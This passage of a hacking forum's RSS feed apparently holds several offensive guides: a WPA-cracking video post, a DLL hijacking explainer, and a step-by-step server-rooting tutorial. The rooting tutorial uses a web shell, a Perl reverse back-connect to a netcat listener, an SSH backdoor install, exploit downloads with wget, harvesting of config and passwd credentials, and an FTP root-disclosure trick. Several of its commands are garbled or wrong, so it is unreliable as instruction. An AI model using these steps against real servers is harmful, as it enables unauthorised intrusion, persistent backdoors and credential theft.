This is only for informative and educational purposes only and should not be used anywhere else<br />
<br />
<br />
Password: Intern0t<br />
<br />
<a href="http://rapidshare.com/files/415818680/Crack_WPA.zip" target="_blank">http://rapidshare.com/files/415851179/Crack_WPA.zip</a><br />
<br />
Or watch it online <u><a href="http://forum.intern0t.net/cinema/video-30/" target="_blank">here</a></u><br />
<br />
<br />
In this video, the target network is called 'Network'<br />
The attack consisted of a de-authentication for a connected client, forcing it to <br />
re-authenticate, which means they will have to go through the Pre Shared Key, which<br />
we will capture<br />
I then ran a dictionary bruteforce attack on this PSK in order to get the password<br />
for the network<br />
<br />
This is the first of hopefully many WiFi videos to be uploaded throughout the next few weeks<br />
<br />
Next week I will be covering clientless WEP cracking using the Aircrack-ng suite of tools<br />
<br />
Take care :D<br />
<br />
:: EDIT ::<br />
<br />
Episode 2 <a href="!3033!http://forum.intern0t.net/offensive-guides-information/3033-wifu-series-episode-2-cracking-clientless-networks.html#post14303" target="_blank">here</a></div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/offensive-guides-information/"><![CDATA[Offensive Guides & Information]]></category>
			<dc:creator>TheXero</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/offensive-guides-information/3006-cracking-wpa-wpa2.html</guid>
		</item>
		<item>
			<title>DLL Hijacking</title>
			<link>http://forum.intern0t.net/offensive-guides-information/2986-dll-hijacking.html</link>
			<pubDate>Wed, 25 Aug 2010 11:04:22 GMT</pubDate>
			<description>This thread is a mix of difference resources. I have not tested this myself though I 
look very much forward to do so because it sounds easy yet...</description>
			<content:encoded><![CDATA[<div>This thread is a mix of difference resources. I have not tested this myself though I<br />
look very much forward to do so because it sounds easy yet interesting, so give it a try :wink:<br />
<br />
First some generic information about the vulnerability which you can read more<br />
about in the references in the bottom of this thread, in case you want to know more.<br />
<font size="3"><br />
<b>SANS Quote</b></font> <br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				For the last couple of days there have been a lot of discussions  about a vulnerability published by a Slovenian security company ACROS.  HD Moore (of Metasploit fame) also independently found hundreds of  vulnerable applications and, as he said, the cat is now really out of  the bag.<br />
<br />
 In order to see what is going here we first have to understand how  modern applications are built. Modern applications come modularized with  multiple DLLs (Dynamic Link Libraries). This allows the programmer to  use functions available in other DLLs on the system – Windows has  hundreds of them. <br />
<br />
Now, if a DLL is not available on the system, the  developer can decide to pack it with the main application’s executable  and store it, for example, in the applications directory.<br />
<br />
 The most important DLLs are specified in the KnownDLLs registry key  (HKLM/System/CurrentControlSet/Control/Session Manager/KnownDLLs). These  are easy – if an application needs to load it, the system knows that  they have to be in the directory specified by the DllDirectory registry  key, which is usually %SystemRoot%/system32.<br />
<br />
 However, when another DLL is being loaded, the system dynamically  tries to find the DLL. Historically, Microsoft made a mistake by putting  the current directory in the first place (some of you Unix oldies might  remember when “.” was at the first place in the PATH variable). This  has been fixed by Microsoft by introducing the SafeDllSearchMode setting  (registry value). This setting specifies the order in which a DLL will  be searched for. For example, as specified in <a href="http://msdn.microsoft.com/en-us/library/ms682586%28v=VS.85%29.aspx" target="_blank">http://msdn.microsoft.com/en-us/libr...=VS.85%29.aspx</a>  this is the search order with the SafeDllSearchMode setting enabled:<br />
<br />
    1. The directory from which the application loaded.<br />
   2. The system directory. Use the GetSystemDirectory function to get  the path of this directory.<br />
   3. The 16-bit system directory. There is no function that obtains the  path of this directory, but it is searched.<br />
   4. The Windows directory. Use the GetWindowsDirectory function to get  the path of this directory.<br />
   5. The current directory.<br />
   6. The directories that are listed in the PATH environment variable.  Note that this does not include the per-application path specified by  the App Paths registry key. The App Paths key is not used when computing  the DLL search path.
			
			<hr />
		</td>
	</tr>
	</table>
</div>After reading this a bit more information about the vulnerability should be read.<br />
<br />
<br />
<font size="3"><b>Metasploit Quote #1</b></font><br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				This vulnerability is triggered when a vulnerable file type is opened  from within a directory controlled by the attacker. This directory can  be a USB drive, an extracted archive, or a remote network share. In most  cases, the user will have to browse to the directory and then open the  target file type for this exploit to work. The file opened by the user  can be completely harmless, the flaw is that the application launched to  handle the file type will inadvertently load a DLL from the working  directory.<br />
<br />
In practice, this flaw can be exploited by sending the  target user a link to a network share containing a file they perceive  as safe. iTunes, which was affected by this flaw until last week, is  associated with a number of media file types, and each of these would  result in a specific DLL being loaded from the same directory as the  opened file. The user would be presented with a link in the form of <b>\\server\movies\</b>  and a number of media files would be present in this directory. If the  user tries to open any of these files, iTunes would search the remote  directory for one or more DLLs and then load these DLLs into the  process. If the attacker supplied a malicious DLL containing malware or  shellcode, its game over for the user.
			
			<hr />
		</td>
	</tr>
	</table>
</div>And after you have read this, or even more you should read how to do this yourself!<br />
<br />
<br />
<font size="3"><b>Metasploit Quote #2</b></font><br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				Due to an overwhelming amount of interest in the initial  DLLHijackAuditKit released on Monday, I rewrote the tool to use native  JScript, automatically kill spawned processes, reduce the memory usage  by ProcMon, and automatically validate every result from the CSV log.  The result is <a href="https://www.metasploit.com/redmine/projects/framework/repository/raw/external/source/DLLHijackAuditKit.zip" target="_blank">DLLHijackAuditKit  v2</a>. This kit greatly speeds up the identification process for  vulnerable applications. An extremely simple HOWTO:<br />
<br />
1. Download  the <a href="https://www.metasploit.com/redmine/projects/framework/repository/raw/external/source/DLLHijackAuditKit.zip" target="_blank">DLLHijackAuditKit  v2</a> and extract it into a local directory on the system you would  like to test.<br />
<br />
2. Browse to this directory and launch <b>01_StartAudit.bat</b>  as an Administrator. The Administrator bit is important, as it will  allow the script to kill background services that are spawned by the  handlers and prevent UAC popups.<br />
<br />
3. After the audit script  completes (15-30 minutes), switch to the Process Monitor window, and  access File-&gt;Save from the menu. Save the resulting log in CSV format  to the local directory with the name &quot;Logfile.CSV&quot;.<br />
<br />
4. Launch <b>02_Analyze.bat</b>  as an Administrator. This will scan through the CSV log, build test  cases for each potential vulnerability, try them, and automatically  create a proof-of-concept within the Exploits directory should they  succeed.<br />
<br />
5. Identify the affected vendor for each generated  proof-of-concept and ask them nicely to fix their application. Send them  the calc.exe-launching <acronym title="Proof of Concept">PoC</acronym> if necessary.<br />
<br />
Thanks again to  everyone who provided feedback (positive or negative) on the original  tool, especially Rob Fuller, who let me forkbomb his system in the  process of testing the new kit.
			
			<hr />
		</td>
	</tr>
	</table>
</div><b>You can get the DLL Hijack Audit Kit here:</b> <a href="https://www.metasploit.com/redmine/projects/framework/repository/raw/external/source/DLLHijackAuditKit.zip" target="_blank">https://www.metasploit.com/redmine/p...ckAuditKit.zip</a><br />
<br />
<b>And you can watch a presentation of how it works here: </b><a href="http://www.offensive-security.com/ohnoz.mp4" target="_blank">http://www.offensive-security.com/ohnoz.mp4</a><br />
<br />
<br />
<b>Thanks a lot to all the parties involved! </b><br />
<br />
<br />
In case you want to see typical <acronym title="Proof of Concept">PoC</acronym>'s, check Exploit-DB out! ( <a href="http://www.exploit-db.com/local/" target="_blank">http://www.exploit-db.com/local/</a> )<br />
<br />
I will definitely play with this, perhaps today and try to create some <acronym title="Proof of Concept">PoC</acronym>'s too! :wink:<br />
<br />
<br />
<br />
Best regards,<br />
MaXe<br />
<br />
<br />
<b>References:</b><br />
<a href="http://www.microsoft.com/technet/security/advisory/2269637.mspx" target="_blank">http://www.microsoft.com/technet/sec...y/2269637.mspx</a><br />
<a href="http://isc.sans.edu/diary.html?storyid=9445" target="_blank">http://isc.sans.edu/diary.html?storyid=9445</a><br />
<a href="http://blog.metasploit.com/2010/08/exploiting-dll-hijacking-flaws.html" target="_blank">http://blog.metasploit.com/2010/08/e...ing-flaws.html</a><br />
<a href="http://blog.metasploit.com/2010/08/better-faster-stronger.html" target="_blank">http://blog.metasploit.com/2010/08/b...-stronger.html</a><br />
<a href="http://www.offensive-security.com/offsec/microsoft-dll-hijacking-exploit-in-action/" target="_blank">http://www.offensive-security.com/of...oit-in-action/</a></div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/offensive-guides-information/"><![CDATA[Offensive Guides & Information]]></category>
			<dc:creator>MaXe</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/offensive-guides-information/2986-dll-hijacking.html</guid>
		</item>
		<item>
			<title>Guide Escalating Privileges in a Shell</title>
			<link>http://forum.intern0t.net/offensive-guides-information/2943-escalating-privileges-shell.html</link>
			<pubDate>Thu, 12 Aug 2010 18:35:45 GMT</pubDate>
			<description>I used a few different tutorials I had on my hard drive as references, and for the files. 
 
FILES: 
Multiupload.com - upload your files to multiple...</description>
			<content:encoded><![CDATA[<div>I used a few different tutorials I had on my hard drive as references, and for the files.<br />
<br />
FILES:<br />
<a href="http://www.multiupload.com/OJV1H0TXFK" target="_blank">Multiupload.com - upload your files to multiple file hosting sites!</a><br />
<br />
So, there are a few different ways that we can root a server. <br />
1. Check config.php for login credentials and try them on SSH.<br />
2. Check /etc/passwd for login credentials, then use them on SSH <br />
3. Poorly configured FTP for login credentials<br />
4. Back connect <br />
<br />
<br />
1.<br />
We're going to assume you have a shell up.. So, first thing we do here, is go check in the config.php file for mysql login details.<br />
Once we get them, we can try using the credentials pretty much any way that we can connect. <br />
Such as SSH... If it works, easy way to get root :P<br />
<br />
2. <br />
We're going to assume you have a shell up.. Navigate to /etc/passwd, and save the passwords to your harddrive somewhere.. Most of the time they will be encrypted, but you can brute force it.. Once you get the password, try just using that info as SSH info, and if it works. Then you have root lol.<br />
<br />
3.<br />
For this one, you don't actually need a shell up.<br />
Pretty much I only know how to do this VIA command prompt/shell... Don't know if it can be done via an FTP client.<br />
FTP is used to upload multiple files to a server. There is a root account that has permission to do anything... We don't have access to it, and it would take a long time for anyone to bruteforce it.. Well, assuming the host isn't retarded.<br />
<br />
First, you open cmd/prompt.<br />
Type in:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">ftp http://www.example.com</code><hr />
</div>Make sure that you type in the wrong credentials... If you guess right off the beginning, congrats.<br />
Then, after that, type in: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">quote user ftp</code><hr />
</div>Then:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">quote cwd ~root</code><hr />
</div>and finally<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">quote pass ftp</code><hr />
</div>That will just tell you the User account, and password info.<br />
<br />
Simple enough. Keep in mind, it doesn't always work. <br />
<br />
<br />
4.<br />
First off, we're going to assume that you have your shell uploaded. I recommend mshell. We will also assume it's uploaded at:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://www.example.com/shell.php</code><hr />
</div>(Not like it really matters)<br />
So, first thing we're going to want to do, is upload our back connect script. I've uploaded all the tools we're going to, the download link is at the top of the guide.<br />
<br />
So, we upload back.pl using the upload feature of the shell we have. The back connect will send a connection to our computer from the server..<br />
For this, we're going to need to download and install netcat.. If you're on windows, go to:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://joncraton.org/files/nc111nt.zip</code><hr />
</div>If you're on linux, open your terminal, and type:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">sudo apt-get install netcat</code><hr />
</div>Now that we've uploaded it, we have to port forward port 6669 on our router... After that, load up the terminal/cmd. If you're on windows navigate to the netcat directory, and type:<br />
If on windows:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">nc.exe -vv -l -p 6669</code><hr />
</div>If on linux<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">sudo nc -vv -l -p 6669</code><hr />
</div>That will open up a connection to listen to on port 6669. After that, we have to go back to the server, and use the command function:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">perl back.pl YourIP 6669</code><hr />
</div>That there, makes the server send a connection to your IP via port 6669, which netcat will pickup, and let us run commands via the command line. Okay, so after that, check netcat, and you should have a connection. If not, I'm pretty sure you did something wrong lol.<br />
<br />
Well, then you want to upload the local.pl file I've included. Then, switch over to netcat, and type in<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">perl local.pl</code><hr />
</div>Now, we have a backdoor up. So, now we upload the sshdoor.tgz also.. Go back to netcat, and run the following commands:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">tar -zxvf sshdoor.tgz</code><hr />
</div>De-compresses the sshdoor.tgz.<br />
Then<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">cs sshdoor</code><hr />
</div>Moves the command line into the sshdoor folder, so we can execute files within it.<br />
Then <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">.install somepassword 6669</code><hr />
</div>Installs sshdoor with the password &quot;somepassword' which you can change to whatever you want. After that, we run can run putty and connect to the server.<br />
<br />
So, now that we've gotten this far, we upload xbind.c, and compile it using the gcc compiler..<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"><br />
gcc -o xbind xbind.c</code><hr />
</div>Compile it, run it, and connect. Then run:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">./xind 1985</code><hr />
</div>Now, run netcat again, type in the password you created, and run the following command:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">whoami</code><hr />
</div>If that comes up as root, or uid=0 or something like that, you've got root.<br />
Okay, so if the local root shell didn't work.. No worries. If you got the back connection up, you can run<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">uname -a</code><hr />
</div>To figure out the linux version, smtp version, and php version. Then, you search for exploits for those on google, Injector, Security focus, etc. Once you find one of those, you can either upload it, or wget it:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">wget http://www.website.com/exploit/38932</code><hr />
</div>You're going to have to compile it after this:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">gcc localroot -o 38932</code><hr />
</div>GCC is a command used in SSH which compiles a directory. Our example above tells the GCC to compile 38932 as localroot. Then, you're going to have to run the exploit, and hope that one works.. (Which it should), <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">./localroot</code><hr />
</div>Then, you should be good. But just to make sure you are... Type the command:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">whoami</code><hr />
</div>Then, it should come up as root/uid=0 or something similar.. Congrats, and have run with root.</div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/offensive-guides-information/"><![CDATA[Offensive Guides & Information]]></category>
			<dc:creator>Starwiz</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/offensive-guides-information/2943-escalating-privileges-shell.html</guid>
		</item>
		<item>
			<title>Guide FTP - Root Account Disclosure</title>
			<link>http://forum.intern0t.net/offensive-guides-information/2934-ftp-root-account-disclosure.html</link>
			<pubDate>Thu, 12 Aug 2010 18:28:19 GMT</pubDate>
			<description><![CDATA[This is my tutorial on FTP hacking. I've seen this around on the internet, and it doesn't work for every website.   
  
Pretty much I only know how...]]></description>
			<content:encoded><![CDATA[<div>This is my tutorial on FTP hacking. I've seen this around on the internet, and it doesn't work for every website.  <br />
 <br />
Pretty much I only know how to do this VIA command prompt/shell... Don't know if it can be done via an FTP client. <br />
FTP is used to upload multiple files to a server. There is a root account that has permission to do anything... We don't have access to it, and it would take a long time for anyone to bruteforce it.. Well, assuming the host isn't retarded. <br />
 <br />
First, you open cmd/prompt. <br />
Type in: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
ftp http://www.example.com</code><hr />
</div>Make sure that you type in the wrong credentials... If you guess right off the beginning, congrats. <br />
Then, after that, type in:  <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
quote user ftp</code><hr />
</div>Then: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
quote cwd ~root</code><hr />
</div>and finally <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
quote pass ftp</code><hr />
</div>That will just tell you the User account, and password info. <br />
 <br />
Simple enough. Keep in mind, it doesn't always work.</div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/offensive-guides-information/"><![CDATA[Offensive Guides & Information]]></category>
			<dc:creator>Starwiz</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/offensive-guides-information/2934-ftp-root-account-disclosure.html</guid>
		</item>
	</channel>
</rss>
